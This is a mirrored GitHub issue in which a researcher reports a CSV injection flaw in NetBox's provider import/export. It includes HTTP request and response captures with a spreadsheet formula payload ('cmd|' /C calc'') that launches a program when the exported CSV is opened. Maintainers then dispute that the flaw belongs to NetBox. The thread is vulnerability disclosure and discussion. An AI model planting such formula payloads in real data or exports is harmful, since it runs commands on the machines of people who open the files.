starred/netbox
1
0
Fork 0
mirror of https://github.com/netbox-community/netbox.git synced 2026-01-11 21:10:29 +01:00
Code Issues 273 Packages Projects Releases 10 Wiki Activity

CSV Injection - vulnerability #2293

New Issue
Closed
opened 2025-12-29 17:24:35 +01:00 by adam · 4 comments
adam commented 2025-12-29 17:24:35 +01:00
Owner
Copy Link

Originally created by @w4cky on GitHub (Jan 15, 2019).

During my research on the IT security of the netbox project I found vulnerability CSV Injection. Vulnerability threatens users who perform data export from the netbox system. This leads to the execution of the code on the victim's system - RCE (Remote Code Execution).

https://www.owasp.org/index.php/CSV_Injection

PoC:

IMPORT:
POST /circuits/providers/import/ HTTP/1.1
Host: X
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: X/circuits/providers/import/
Cookie: csrftoken=Pxk3EKScaTdrI85RsUlkX8CBx0BUIqyZT0LHpfe4qNomkfNJ67WojPCtUh0k6IvI; sessionid=z559q18887m5betro2wtae7xmt8wi2fr
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
csrfmiddlewaretoken=62LcTcvOHDkzEqmzqV9iOfThapFKqJsXavcQEHRGXxvugx4r48KmaWT9xG4aO1pG&csv=name%2Cslug%0D%0A%3DSUM%281%2B1%29*cmd%7C%27+%2FC+calc%27%21A0%2C1%0D%0A

HTTP/1.1 200 OK
Date: Tue, 15 Jan 2019 11:32:23 GMT
Server: Apache
Content-Length: 32040
X-Frame-Options: SAMEORIGIN
Vary: Cookie,Origin
Connection: close
Content-Type: text/html; charset=utf-8

EXPORT:

GET /circuits/providers/?export HTTP/1.1
Host: X
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: X
Cookie: csrftoken=Pxk3EKScaTdrI85RsUlkX8CBx0BUIqyZT0LHpfe4qNomkfNJ67WojPCtUh0k6IvI; sessionid=z559q18887m5betro2wtae7xmt8wi2fr
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2019 11:32:30 GMT
Server: Apache
Content-Length: 919
Content-Disposition: attachment; filename="netbox_providers.csv"
X-Frame-Options: SAMEORIGIN
Vary: Cookie,Origin
Connection: close
Content-Type: text/csv
name,slug,asn,account,bok_email,bok_phone_nr,customer_carer_name,portal_url,noc_contact,admin_contact,comments
=SUM(1+1)*cmd|' /C calc'!A0,1,,,,,,,,,

Originally created by @w4cky on GitHub (Jan 15, 2019). During my research on the IT security of the netbox project I found vulnerability CSV Injection. Vulnerability threatens users who perform data export from the netbox system. This leads to the execution of the code on the victim's system - RCE (Remote Code Execution). https://www.owasp.org/index.php/CSV_Injection PoC: IMPORT: POST /circuits/providers/import/ HTTP/1.1 Host: X User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: X/circuits/providers/import/ Cookie: csrftoken=Pxk3EKScaTdrI85RsUlkX8CBx0BUIqyZT0LHpfe4qNomkfNJ67WojPCtUh0k6IvI; sessionid=z559q18887m5betro2wtae7xmt8wi2fr Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 161 csrfmiddlewaretoken=62LcTcvOHDkzEqmzqV9iOfThapFKqJsXavcQEHRGXxvugx4r48KmaWT9xG4aO1pG&csv=name%2Cslug%0D%0A%3DSUM%281%2B1%29*cmd%7C%27+%2FC+calc%27%21A0%2C1%0D%0A HTTP/1.1 200 OK Date: Tue, 15 Jan 2019 11:32:23 GMT Server: Apache Content-Length: 32040 X-Frame-Options: SAMEORIGIN Vary: Cookie,Origin Connection: close Content-Type: text/html; charset=utf-8 EXPORT: GET /circuits/providers/?export HTTP/1.1 Host: X User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: X Cookie: csrftoken=Pxk3EKScaTdrI85RsUlkX8CBx0BUIqyZT0LHpfe4qNomkfNJ67WojPCtUh0k6IvI; sessionid=z559q18887m5betro2wtae7xmt8wi2fr Connection: close Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Tue, 15 Jan 2019 11:32:30 GMT Server: Apache Content-Length: 919 Content-Disposition: attachment; filename="netbox_providers.csv" X-Frame-Options: SAMEORIGIN Vary: Cookie,Origin Connection: close Content-Type: text/csv name,slug,asn,account,bok_email,bok_phone_nr,customer_carer_name,portal_url,noc_contact,admin_contact,comments =SUM(1+1)*cmd|' /C calc'!A0,1,,,,,,,,,
adam closed this issue 2025-12-29 17:24:35 +01:00
adam commented 2025-12-29 17:24:36 +01:00
Author
Owner
Copy Link

@w4cky commented on GitHub (Jan 15, 2019):

Hi, @jeremystretch Why did you close it? Did I indicate something wrong?

@w4cky commented on GitHub (Jan 15, 2019): Hi, @jeremystretch Why did you close it? Did I indicate something wrong?
adam commented 2025-12-29 17:24:36 +01:00
Author
Owner
Copy Link

@DanSheps commented on GitHub (Jan 15, 2019):

@w4cky

  1. You didn't follow the template for submitting an issue
  2. This is not a netbox vulnerability that enables RCE, it is a vulnerability in Excel, OpenOffice, etc.
@DanSheps commented on GitHub (Jan 15, 2019): @w4cky 1. You didn't follow the template for submitting an issue 2. This is not a netbox vulnerability that enables RCE, it is a vulnerability in Excel, OpenOffice, etc.
adam commented 2025-12-29 17:24:36 +01:00
Author
Owner
Copy Link

@w4cky commented on GitHub (Jan 15, 2019):

@DanSheps
Thanks for explanation.
I do not agree with you.
Vulnerability exists because you are not quite good in my opinion, you care about safety in this case.
The fact is that the attackers in this case use weakness (functionality) in Excel, OpenOffice, etc. but the user downloads the file from a trusted source (your application) and you should in my opinion ensure that no one has executed the code on his computer.

Here you have only a few examples that this is a vulnerability.

https://www.appsecconsulting.com/blog/csv-formula-injection
https://www.exploit-db.com/exploits/45643
https://www.exploit-db.com/exploits/44370
https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

@w4cky commented on GitHub (Jan 15, 2019): @DanSheps Thanks for explanation. I do not agree with you. Vulnerability exists because you are not quite good in my opinion, you care about safety in this case. The fact is that the attackers in this case use weakness (functionality) in Excel, OpenOffice, etc. but the user downloads the file from a trusted source (your application) and you should in my opinion ensure that no one has executed the code on his computer. Here you have only a few examples that this is a vulnerability. https://www.appsecconsulting.com/blog/csv-formula-injection https://www.exploit-db.com/exploits/45643 https://www.exploit-db.com/exploits/44370 https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/
adam commented 2025-12-29 17:24:36 +01:00
Author
Owner
Copy Link

@jeremystretch commented on GitHub (Jan 15, 2019):

This is not a NetBox issue. Locked.

@jeremystretch commented on GitHub (Jan 15, 2019): This is not a NetBox issue. Locked.
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
beta
breaking change
complexity: high
complexity: low
complexity: medium
needs milestone
netbox
pending closure
plugin candidate
pull-request
Mirrored from GitHub Pull Request
 severity: high
severity: low
severity: medium
status: accepted
status: backlog
status: blocked
status: duplicate
status: needs owner
status: needs triage
status: revisions needed
status: under review
topic: GraphQL
topic: Internationalization
topic: OpenAPI
topic: UI/UX
topic: cabling
topic: event rules
topic: htmx navigation
topic: industrialization
topic: migrations
topic: plugins
topic: scripts
topic: templating
topic: testing
type: bug
type: deprecation
type: documentation
type: feature
type: housekeeping
type: translation
No Label
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
adam
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: starred/netbox#2293
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?